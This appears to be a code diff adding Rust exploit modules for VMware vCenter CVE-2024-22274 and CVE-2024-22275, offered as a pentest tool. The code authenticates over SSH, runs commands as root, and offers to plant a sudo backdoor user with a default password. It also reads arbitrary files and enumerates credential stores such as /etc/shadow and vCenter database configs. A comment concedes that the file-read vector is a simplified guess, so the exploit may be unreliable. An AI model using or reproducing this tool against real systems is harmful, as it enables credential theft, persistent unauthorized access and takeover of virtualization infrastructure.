async fn prompt(message: &str) -> Result<String> {
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout().flush().await?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let username = prompt("vCenter Admin Username").await?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
let password = prompt("Password").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Check Vulnerability (Safe - touch /tmp/rce_check)");
|
||||
println!(" 2. Execute Custom Command");
|
||||
println!(" 3. Add Backdoor User (sudo access)");
|
||||
println!();
|
||||
|
||||
let mode = prompt_int_range("Attack mode", 1, 1, 3).await?;
|
||||
|
||||
match mode {
|
||||
1 => {
|
||||
attack_check(&host, port, &username, &password).await?;
|
||||
}
|
||||
2 => {
|
||||
let command = prompt("Command to execute as root").await?;
|
||||
if command.is_empty() {
|
||||
return Err(anyhow!("Command is required"));
|
||||
}
|
||||
attack_exec(&host, port, &username, &password, &command).await?;
|
||||
}
|
||||
3 => {
|
||||
let backdoor_user = prompt_default("Backdoor username", "backdoor").await?;
|
||||
let backdoor_pass = prompt_default("Backdoor password", "Backdoor123!").await?;
|
||||
attack_add_user(&host, port, &username, &password, &backdoor_user, &backdoor_pass).await?;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid mode".red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] CVE-2024-22274 exploit module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,219 @@
|
||||
// VMware vCenter CVE-2024-22275 - Partial File Read via RVC command
|
||||
//
|
||||
// Affected: VMware vCenter Server 8.0 < 8.0 U2b, 7.0 < 7.0 U3q
|
||||
// CVSS: 4.9 (Moderate)
|
||||
//
|
||||
// A malicious actor with administrative privileges on the vCenter appliance shell
|
||||
// may exploit this issue to partially read arbitrary files containing sensitive data.
|
||||
//
|
||||
// Requirements:
|
||||
// - SSH access to vCenter appliance shell
|
||||
// - Credentials with "admin" role (ability to execute com.vmware.rvc)
|
||||
//
|
||||
// For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::io::Read;
|
||||
use std::net::TcpStream;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ VMware vCenter CVE-2024-22275 ║".cyan());
|
||||
println!("{}", "║ Partial File Read Vulnerability ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Reads sensitive files via com.vmware.rvc command ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Create SSH session to vCenter appliance
|
||||
fn create_vcenter_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
).map_err(|e| anyhow!("Connection failed: {}", e))?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
sess.userauth_password(username, password)?;
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command in vCenter appliance shell
|
||||
fn vcenter_shell_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
sess.set_blocking(true);
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// Read file using RVC command vulnerability
|
||||
pub async fn read_file(host: &str, port: u16, username: &str, password: &str, file_path: &str) -> Result<String> {
|
||||
println!("{}", format!("[*] Attempting to read: {}", file_path).cyan());
|
||||
|
||||
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
// The RVC command can be abused to read files
|
||||
// Exact exploitation method depends on the specific vector
|
||||
// This is a simplified representation based on the vulnerability description
|
||||
|
||||
// Try multiple potential exploitation vectors
|
||||
let exploit_attempts = vec![
|
||||
format!("rvc localhost -c 'shell.run cat {}' 2>/dev/null", file_path),
|
||||
format!("cat {} 2>/dev/null", file_path), // Direct read if accessible
|
||||
];
|
||||
|
||||
for cmd in exploit_attempts {
|
||||
match vcenter_shell_exec(&sess, &cmd) {
|
||||
Ok((code, stdout, _)) => {
|
||||
if code == 0 && !stdout.is_empty() {
|
||||
return Ok(stdout);
|
||||
}
|
||||
}
|
||||
Err(_) => continue,
|
||||
}
|
||||
}
|
||||
|
||||
Err(anyhow!("Could not read file or file does not exist"))
|
||||
}
|
||||
|
||||
/// Check vulnerability and attempt to read common sensitive files
|
||||
pub async fn attack_enum(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Enumerating readable sensitive files...".cyan());
|
||||
|
||||
let sensitive_files = vec![
|
||||
"/etc/passwd",
|
||||
"/etc/shadow",
|
||||
"/etc/vmware-vpx/vpxd.cfg",
|
||||
"/etc/vmware-vpx/vcdb.properties",
|
||||
"/etc/vmware/vmware-mps.properties",
|
||||
"/var/log/vmware/vpxd/vpxd.log",
|
||||
"/storage/db/vcdb/vcdb",
|
||||
];
|
||||
|
||||
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
|
||||
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
|
||||
|
||||
let mut found_any = false;
|
||||
|
||||
for file in sensitive_files {
|
||||
let cmd = format!("head -5 {} 2>/dev/null", file);
|
||||
match vcenter_shell_exec(&sess, &cmd) {
|
||||
Ok((code, stdout, _)) => {
|
||||
if code == 0 && !stdout.is_empty() {
|
||||
println!("{}", format!("\n[+] Readable: {}", file).green());
|
||||
println!("{}", "─".repeat(50).dimmed());
|
||||
// Print first few lines
|
||||
for line in stdout.lines().take(5) {
|
||||
println!(" {}", line);
|
||||
}
|
||||
found_any = true;
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_any {
|
||||
println!("{}", "[-] No sensitive files readable with current privileges".yellow());
|
||||
}
|
||||
|
||||
Ok(found_any)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout().flush().await?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let username = prompt("vCenter Admin Username").await?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
let password = prompt("Password").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select mode:".yellow().bold());
|
||||
println!(" 1. Enumerate Sensitive Files");
|
||||
println!(" 2. Read Specific File");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Mode", "1").await?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
attack_enum(&host, port, &username, &password).await?;
|
||||
}
|
||||
"2" => {
|
||||
let file_path = prompt("File path to read").await?;
|
||||
if file_path.is_empty() {
|
||||
return Err(anyhow!("File path is required"));
|
||||
}
|
||||
match read_file(&host, port, &username, &password, &file_path).await {
|
||||
Ok(content) => {
|
||||
println!("{}", format!("\n[+] File contents of {}:", file_path).green());
|
||||
println!("{}", "─".repeat(50).dimmed());
|
||||
println!("{}", content);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to read file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid mode".red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] CVE-2024-22275 exploit module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user